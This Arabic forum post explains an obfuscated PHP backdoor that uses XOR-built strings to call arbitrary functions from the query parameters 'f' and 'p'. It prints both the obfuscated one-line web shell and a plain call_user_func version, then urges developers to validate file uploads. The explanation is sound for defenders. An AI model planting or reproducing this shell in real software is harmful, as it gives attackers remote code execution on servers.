• بواسطة x32x01 ||
فيه واحد أستاااااذ بمعنى الكلمه عمل كود
الفكرة ان الكود ده بيقوم بتشغيل اي functions داخل ال php من خلال شوية طرق غير شرعية ودي شبيهه بال into injection param لكن هي بمسماها الحقيقي PHP Malware and XOR Encrypted Requests
بص ع الصورة الرئيسية ده الكود وهو مشفر والكود اثناء العمل داخل ال compiler بيكون ال compiler شايفه في المثال التاني

قبل ما نفتح الصورة تعالى بس اعرفك الاول ايه هو PHP Malware and XOR Encrypted Requests

في 2017 اكتشف فريق من godaddy الكود ده فى احد اعمالهم وان فى حد عمل هندسة عكسية من خلاله وقدر يزرع كتير من ال back doors جوا سيرفراتهم وهما قعدوا فترة هيتجننوا مش فاهمين مصدر ال requests دي جاي منين لحد ما اكتشفو ان في ملف غير عمال ينشر نفسه فى كل حتة من خلال ip خارجي عمال يكلم رابط معين فيه مجموعة query parameter
(RCE - Remote Code Execution)
مسكوا ال parameter وحللوها لقيو انها بتكلم ملف شبيه بالملف اللى مسكه اخونا ابراهيم حجازي
طبعا انا قصة جودادى دي كنت قريتها بالصدفة بس تذكرتها على سبيل المثال لا الحصر لانها عملت قلبان وقتها فى جودادى والدنيا كانت هايصه عشان كان ليا hosts هناك عندهم
الفكرة من ال XOR وازاي بيتشفر
اولا دي عملية بتتسمي الانفصال والحصر ( بمعني تكون كالملح salt ) وتبداء بتجميع نفسك عندما اخاطبك ( حصر ) اي انك بتحول نفسك ل code مصدري حقيقي يفهمه ال compiler
العملية ترجع الى تحويل نص عادي يتم كتابته من خلال query parameter تنادي منه على function معينة مثلا ولو في argument بيرجع داتا معينة لو كانت ال function دي بترجع ب array
خلينا ندي مثال على phpinfo
phpinfo ك function ممكن تستخدمها بميزتين الاولى انك تستخدم معلوماتها كمصفوفه array وتنادي على اجزاء الداتا دي عشان لو حابب تعرف معلومة عن اي حاجه فى ال configuration اللى جواها
فهنا ال XOR يتلخص فى Plaintext + key + cihpertext
وعشان php مبتقبلش انك تناولها اي triangle brakets فلازم
يتبعها ب caret ^
(هتلاقيني سايبلك لينك لعملية التشفير وطريقة عملها في التعليقات بس اختصرت لك كتير حاجات عشان نبين الفكرة)
وده بالضبط اللى حصل هنا
PHP:
$_ = "]" ^ ";";
ثم
PHP:
$__ = "." ^ "^";
ثم
PHP:
$___ = ("|" ^ "#") . (":" ^ "}") . ("~" ^ ";") . ("{" ^ "/");
نيجي بقى للسطر الاخطر على الاطلاق وهو السطر ده
PHP:
${$___}[$_](${$___}[$__]);
بالحركة دي كانك بتعمل eval for string code
او
اللى بفكرته ينفذ عملية الحصر او exclusive disjunction
على طول ياخد امر من خلال query param اسمها f+p وبتكون كده
$_GET['f'] بعدها تقوم بمناداة الجزء المناسب فى المصفوفة او تحط رقم اكبر من المتوقع عشان يعرضلك البيانات كلها عشان هو هيعمل skipping
فى حالة ان ال offset مش موجود
وقد كان
بالتالى بتكون الفكرة كالاتى
PHP:
if (isset($_GET['p']) && isset($_GET['f'])) {
    $function = $_GET['f'];
    $parameter = $_GET['p'];
    call_user_func($function, $parameter);
    die; // terminate compiler before execute function
}
ودي فكرة تانيه لعملية الانفصال والحصر اللى بحاول اترجمها بالمعني المناسب عشان توصل للناس
PHP:
$a = "test" ;
$b = "1234" ;
$c = $a ^ $b ; //our XOR bitwise encryption between $a and $b
وهتلاقى ال caret هي بدء عملية التشفير اللى نهايتها هتكون
PHP:
echo $c ; //result = EW@@
طبعا انا بحاول اختصر المقال دي قدر المستطاع بس اللى عايز اقوله ابن الصايعه اللى عمل الملف ده دماغه متكلفة وقاعد فاضى وموراهوش حاجه غير انه عمال يستغل فى ثغرات يظن انها مبتتقفلش

بس كل اللى اقدر اقوله ان عادي جدا ممكن شوية اعدادات من داخل السيرفر تقفل الفكرة تماما وتنهي المسألة بس السؤال اللى هنا محتاج يترد عليه ( الملف ده اترفع ازاي للسيرفر )

هل كان فى input ومش معموله validation فعمل upload بدون ما يدور على ال mimeTypes ويتحقق منها ولا هو كان مزروع بشكل عكسي من user تاني على نفس السيرفر الخ الخ الخ دي بقى مهمة فريق البحث او المحققين ففى الموضوع ساعتها بيبقى حل المسألة سهل وقتها
وهنا عزيزي المطور احب اقولك ان غلطتك ممكن مش تضيع مشروع لا ممكن تضيع الدنيا بحالها بسبب اهمالك الشديد فى ابسط الامور وهي التحقق من اي خطوات ليها علاقة بال Upload files بالذات ال mime Typs
فكرة كود PHP جااامده Malware and XOR Encrypted Requests
طبعا انا اوجزت عشان انجز عشان فى تفاصيل تانيه ممكن متكونش مهمة ليك بس انا ذكرت لك الجزء اللى انت محتاجه عشان تعرف ان مهما تعتقد انك وصلت فاعرف ان فى لسه اعلى منك ومحدش كبير ع العلم
بالمناسبة ال XOR ممكن تتنفذ على javascript + java + c + c# + asp.net + typescript وكتير من اللغات بس ذكرت لك بعض اللغات اللى ممكن تتنفذ فيها نفس الفكرة
منقول عن م/ محمود ابراهيم
 

المشاركات المتشابهة

الردود
0
المشاهدات
8
الردود
0
المشاهدات
7
الردود
0
المشاهدات
7
الردود
0
المشاهدات
8
الردود
0
المشاهدات
7
الوسوم : الوسوم
malware php code xor encrypted requests
عودة
أعلى